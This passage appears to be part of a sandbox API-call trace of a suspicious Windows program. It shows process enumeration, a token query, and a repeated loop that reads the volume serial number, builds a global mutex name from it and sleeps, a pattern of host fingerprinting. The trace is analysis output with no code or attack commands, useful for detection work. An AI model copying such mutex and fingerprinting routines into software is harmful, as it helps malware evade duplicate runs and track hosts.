szExeFile="System")) returned 1 [0287.971] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0287.972] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.973] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0287.974] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0287.975] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0287.976] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0287.977] Process32NextW (hSnapshot=0x128, lppe=0x212fb6c) Thread: id = 46 os_tid = 0x614 [0201.552] GetVersion () returned 0x1db10106 [0201.552] GetCurrentProcess () returned 0xffffffff [0201.552] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x224faac | out: TokenHandle=0x224faac*=0x100) returned 1 [0201.552] GetTokenInformation (in: TokenHandle=0x100, TokenInformationClass=0x14, TokenInformation=0x224faa4, TokenInformationLength=0x4, ReturnLength=0x224faa8 | out: TokenInformation=0x224faa4, ReturnLength=0x224faa8) returned 1 [0201.552] CloseHandle (hObject=0x100) returned 1 [0201.552] GetProcessHeap () returned 0x560000 [0201.553] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a3f0 [0201.553] GetProcessHeap () returned 0x560000 [0201.553] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a508 [0201.553] GetProcessHeap () returned 0x560000 [0201.553] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a530 [0201.553] GetProcessHeap () returned 0x560000 [0201.555] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57fb80 [0201.555] GetProcessHeap () returned 0x560000 [0201.555] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57fb80 | out: hHeap=0x560000) returned 1 [0201.555] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a508, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0201.555] GetProcessHeap () returned 0x560000 [0201.555] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a530 | out: hHeap=0x560000) returned 1 [0201.555] GetProcessHeap () returned 0x560000 [0201.555] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a3f0 | out: hHeap=0x560000) returned 1 [0201.555] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0201.556] GetProcessHeap () returned 0x560000 [0201.556] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a508 | out: hHeap=0x560000) returned 1 [0201.556] GetProcessHeap () returned 0x560000 [0201.556] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574118 [0201.556] GetProcessHeap () returned 0x560000 [0201.556] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574160 [0201.556] GetProcessHeap () returned 0x560000 [0201.556] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574160, Size=0x72) returned 0x56f8a0 [0201.556] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0201.557] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x100 [0201.557] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0x0) returned 0x0 [0201.557] GetProcessHeap () returned 0x560000 [0201.557] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574118 | out: hHeap=0x560000) returned 1 [0201.557] GetProcessHeap () returned 0x560000 [0201.557] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56f8a0 | out: hHeap=0x560000) returned 1 [0201.557] ReleaseMutex (hMutex=0x100) returned 1 [0201.557] CloseHandle (hObject=0x100) returned 1 [0201.557] Sleep (dwMilliseconds=0x3e8) [0204.544] GetProcessHeap () returned 0x560000 [0204.545] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a648 [0204.545] GetProcessHeap () returned 0x560000 [0204.545] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a670 [0204.545] GetProcessHeap () returned 0x560000 [0204.545] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a698 [0204.545] GetProcessHeap () returned 0x560000 [0204.545] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57d448 [0204.545] GetProcessHeap () returned 0x560000 [0204.545] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57d448 | out: hHeap=0x560000) returned 1 [0204.545] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a670, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0204.545] GetProcessHeap () returned 0x560000 [0204.545] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a698 | out: hHeap=0x560000) returned 1 [0204.546] GetProcessHeap () returned 0x560000 [0204.546] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a648 | out: hHeap=0x560000) returned 1 [0204.546] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0204.546] GetProcessHeap () returned 0x560000 [0204.547] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a670 | out: hHeap=0x560000) returned 1 [0204.547] GetProcessHeap () returned 0x560000 [0204.547] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574280 [0204.547] GetProcessHeap () returned 0x560000 [0204.547] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5742c8 [0204.547] GetProcessHeap () returned 0x560000 [0204.547] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5742c8, Size=0x72) returned 0x56faa0 [0204.547] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0204.547] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x118 [0204.548] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x0 [0204.548] GetProcessHeap () returned 0x560000 [0204.548] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574280 | out: hHeap=0x560000) returned 1 [0204.548] GetProcessHeap () returned 0x560000 [0204.548] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56faa0 | out: hHeap=0x560000) returned 1 [0204.548] ReleaseMutex (hMutex=0x118) returned 1 [0204.548] CloseHandle (hObject=0x118) returned 1 [0204.549] Sleep (dwMilliseconds=0x3e8) [0206.999] GetProcessHeap () returned 0x560000 [0206.999] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x5992e0 [0206.999] GetProcessHeap () returned 0x560000 [0206.999] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x599308 [0206.999] GetProcessHeap () returned 0x560000 [0206.999] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x599290 [0206.999] GetProcessHeap () returned 0x560000 [0206.999] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x5990e8 [0206.999] GetProcessHeap () returned 0x560000 [0206.999] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5990e8 | out: hHeap=0x560000) returned 1 [0207.000] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x599308, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0207.000] GetProcessHeap () returned 0x560000 [0207.000] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599290 | out: hHeap=0x560000) returned 1 [0207.000] GetProcessHeap () returned 0x560000 [0207.000] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5992e0 | out: hHeap=0x560000) returned 1 [0207.000] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0207.001] GetProcessHeap () returned 0x560000 [0207.001] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599308 | out: hHeap=0x560000) returned 1 [0207.001] GetProcessHeap () returned 0x560000 [0207.001] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5743a0 [0207.001] GetProcessHeap () returned 0x560000 [0207.001] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5743e8 [0207.001] GetProcessHeap () returned 0x560000 [0207.001] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5743e8, Size=0x72) returned 0x56fb20 [0207.001] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0207.001] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x118 [0207.002] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x0 [0207.002] GetProcessHeap () returned 0x560000 [0207.002] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5743a0 | out: hHeap=0x560000) returned 1 [0207.002] GetProcessHeap () returned 0x560000 [0207.002] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fb20 | out: hHeap=0x560000) returned 1 [0207.002] ReleaseMutex (hMutex=0x118) returned 1 [0207.002] CloseHandle (hObject=0x118) returned 1 [0207.002] Sleep (dwMilliseconds=0x3e8) [0208.310] GetProcessHeap () returned 0x560000 [0208.310] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x5994c0 [0208.310] GetProcessHeap () returned 0x560000 [0208.310] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x5994e8 [0208.310] GetProcessHeap () returned 0x560000 [0208.310] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x599510 [0208.310] GetProcessHeap () returned 0x560000 [0208.310] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x597220 [0208.310] GetProcessHeap () returned 0x560000 [0208.310] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x597220 | out: hHeap=0x560000) returned 1 [0208.310] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x5994e8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0208.311] GetProcessHeap () returned 0x560000 [0208.311] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599510 | out: hHeap=0x560000) returned 1 [0208.311] GetProcessHeap () returned 0x560000 [0208.311] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x560000) returned 1 [0208.311] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0208.312] GetProcessHeap () returned 0x560000 [0208.312] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5994e8 | out: hHeap=0x560000) returned 1 [0208.312] GetProcessHeap () returned 0x560000 [0208.312] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574478 [0208.312] GetProcessHeap () returned 0x560000 [0208.312] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5744c0 [0208.312] GetProcessHeap () returned 0x560000 [0208.312] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5744c0, Size=0x72) returned 0x56fba0 [0208.312] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0208.313] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x168 [0208.313] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0x0) returned 0x0 [0208.313] GetProcessHeap () returned 0x560000 [0208.313] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574478 | out: hHeap=0x560000) returned 1 [0208.313] GetProcessHeap () returned 0x560000 [0208.313] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fba0 | out: hHeap=0x560000) returned 1 [0208.313] ReleaseMutex (hMutex=0x168) returned 1 [0208.313] CloseHandle (hObject=0x168) returned 1 [0208.314] Sleep (dwMilliseconds=0x3e8) [0211.830] GetProcessHeap () returned 0x560000 [0211.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x599498 [0211.830] GetProcessHeap () returned 0x560000 [0211.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x599538 [0211.830] GetProcessHeap () returned 0x560000 [0211.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x599600 [0211.830] GetProcessHeap () returned 0x560000 [0211.830] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b744d8 [0211.830] GetProcessHeap () returned 0x560000 [0211.830] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b744d8 | out: hHeap=0x560000) returned 1 [0211.830] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x599538, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0211.830] GetProcessHeap () returned 0x560000 [0211.831] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599600 | out: hHeap=0x560000) returned 1 [0211.831] GetProcessHeap () returned 0x560000 [0211.831] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599498 | out: hHeap=0x560000) returned 1 [0211.831] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0211.831] GetProcessHeap () returned 0x560000 [0211.831] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599538 | out: hHeap=0x560000) returned 1 [0211.831] GetProcessHeap () returned 0x560000 [0211.832] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5744c0 [0211.832] GetProcessHeap () returned 0x560000 [0211.832] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0211.832] GetProcessHeap () returned 0x560000 [0211.832] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56fc20 [0211.832] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0211.832] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1a8 [0211.832] WaitForSingleObject (hHandle=0x1a8, dwMilliseconds=0x0) returned 0x0 [0211.833] GetProcessHeap () returned 0x560000 [0211.833] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5744c0 | out: hHeap=0x560000) returned 1 [0211.833] GetProcessHeap () returned 0x560000 [0211.833] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fc20 | out: hHeap=0x560000) returned 1 [0211.833] ReleaseMutex (hMutex=0x1a8) returned 1 [0211.833] CloseHandle (hObject=0x1a8) returned 1 [0211.833] Sleep (dwMilliseconds=0x3e8) [0214.155] GetProcessHeap () returned 0x560000 [0214.155] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x599628 [0214.155] GetProcessHeap () returned 0x560000 [0214.155] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x599538 [0214.155] GetProcessHeap () returned 0x560000 [0214.155] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x599600 [0214.155] GetProcessHeap () returned 0x560000 [0214.155] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x593dd0 [0214.156] GetProcessHeap () returned 0x560000 [0214.156] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x593dd0 | out: hHeap=0x560000) returned 1 [0214.156] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x599538, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0214.156] GetProcessHeap () returned 0x560000 [0214.156] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599600 | out: hHeap=0x560000) returned 1 [0214.156] GetProcessHeap () returned 0x560000 [0214.156] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599628 | out: hHeap=0x560000) returned 1 [0214.156] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0214.157] GetProcessHeap () returned 0x560000 [0214.157] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599538 | out: hHeap=0x560000) returned 1 [0214.157] GetProcessHeap () returned 0x560000 [0214.157] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574508 [0214.157] GetProcessHeap () returned 0x560000 [0214.157] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574550 [0214.157] GetProcessHeap () returned 0x560000 [0214.157] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574550, Size=0x72) returned 0x56fca0 [0214.157] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0214.158] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1ac [0214.158] WaitForSingleObject (hHandle=0x1ac, dwMilliseconds=0x0) returned 0x0 [0214.158] GetProcessHeap () returned 0x560000 [0214.158] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574508 | out: hHeap=0x560000) returned 1 [0214.158] GetProcessHeap () returned 0x560000 [0214.158] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fca0 | out: hHeap=0x560000) returned 1 [0214.158] ReleaseMutex (hMutex=0x1ac) returned 1 [0214.158] CloseHandle (hObject=0x1ac) returned 1 [0214.159] Sleep (dwMilliseconds=0x3e8) [0215.711] GetProcessHeap () returned 0x560000 [0215.712] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x599498 [0215.712] GetProcessHeap () returned 0x560000 [0215.712] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x599830 [0215.712] GetProcessHeap () returned 0x560000 [0215.712] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x599858 [0215.712] GetProcessHeap () returned 0x560000 [0215.712] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b742f0 [0215.712] GetProcessHeap () returned 0x560000 [0215.712] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b742f0 | out: hHeap=0x560000) returned 1 [0215.712] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x599830, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0215.712] GetProcessHeap () returned 0x560000 [0215.712] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599858 | out: hHeap=0x560000) returned 1 [0215.713] GetProcessHeap () returned 0x560000 [0215.713] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599498 | out: hHeap=0x560000) returned 1 [0215.713] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0215.713] GetProcessHeap () returned 0x560000 [0215.714] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599830 | out: hHeap=0x560000) returned 1 [0215.714] GetProcessHeap () returned 0x560000 [0215.714] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574430 [0215.714] GetProcessHeap () returned 0x560000 [0215.714] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5744c0 [0215.715] GetProcessHeap () returned 0x560000 [0215.715] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5744c0, Size=0x72) returned 0x56fca0 [0215.715] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0215.715] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1c4 [0215.715] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x0 [0215.715] GetProcessHeap () returned 0x560000 [0215.715] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574430 | out: hHeap=0x560000) returned 1 [0215.715] GetProcessHeap () returned 0x560000 [0215.716] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fca0 | out: hHeap=0x560000) returned 1 [0215.716] ReleaseMutex (hMutex=0x1c4) returned 1 [0215.716] CloseHandle (hObject=0x1c4) returned 1 [0215.716] Sleep (dwMilliseconds=0x3e8) [0217.375] GetProcessHeap () returned 0x560000 [0217.375] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x599830 [0217.375] GetProcessHeap () returned 0x560000 [0217.375] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x599498 [0217.376] GetProcessHeap () returned 0x560000 [0217.376] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x599858 [0217.376] GetProcessHeap () returned 0x560000 [0217.376] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b741a0 [0217.376] GetProcessHeap () returned 0x560000 [0217.376] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b741a0 | out: hHeap=0x560000) returned 1 [0217.376] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x599498, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0217.376] GetProcessHeap () returned 0x560000 [0217.376] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599858 | out: hHeap=0x560000) returned 1 [0217.376] GetProcessHeap () returned 0x560000 [0217.377] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599830 | out: hHeap=0x560000) returned 1 [0217.377] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0217.377] GetProcessHeap () returned 0x560000 [0217.377] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599498 | out: hHeap=0x560000) returned 1 [0217.377] GetProcessHeap () returned 0x560000 [0217.378] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574430 [0217.378] GetProcessHeap () returned 0x560000 [0217.378] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x5744c0 [0217.378] GetProcessHeap () returned 0x560000 [0217.378] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5744c0, Size=0x72) returned 0x56fca0 [0217.378] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0217.378] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1c4 [0217.378] WaitForSingleObject (hHandle=0x1c4, dwMilliseconds=0x0) returned 0x0 [0217.379] GetProcessHeap () returned 0x560000 [0217.379] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574430 | out: hHeap=0x560000) returned 1 [0217.379] GetProcessHeap () returned 0x560000 [0217.379] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fca0 | out: hHeap=0x560000) returned 1 [0217.379] ReleaseMutex (hMutex=0x1c4) returned 1 [0217.379] CloseHandle (hObject=0x1c4) returned 1 [0217.379] Sleep (dwMilliseconds=0x3e8) [0218.665] GetProcessHeap () returned 0x560000 [0218.665] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a6e8 [0218.665] GetProcessHeap () returned 0x560000 [0218.665] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a6c0 [0218.665] GetProcessHeap () returned 0x560000 [0218.665] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x57a7d8 [0218.665] GetProcessHeap () returned 0x560000 [0218.665] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b748d8 [0218.665] GetProcessHeap () returned 0x560000 [0218.665] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b748d8 | out: hHeap=0x560000) returned 1 [0218.665] ExpandEnvironmentStringsW (in: 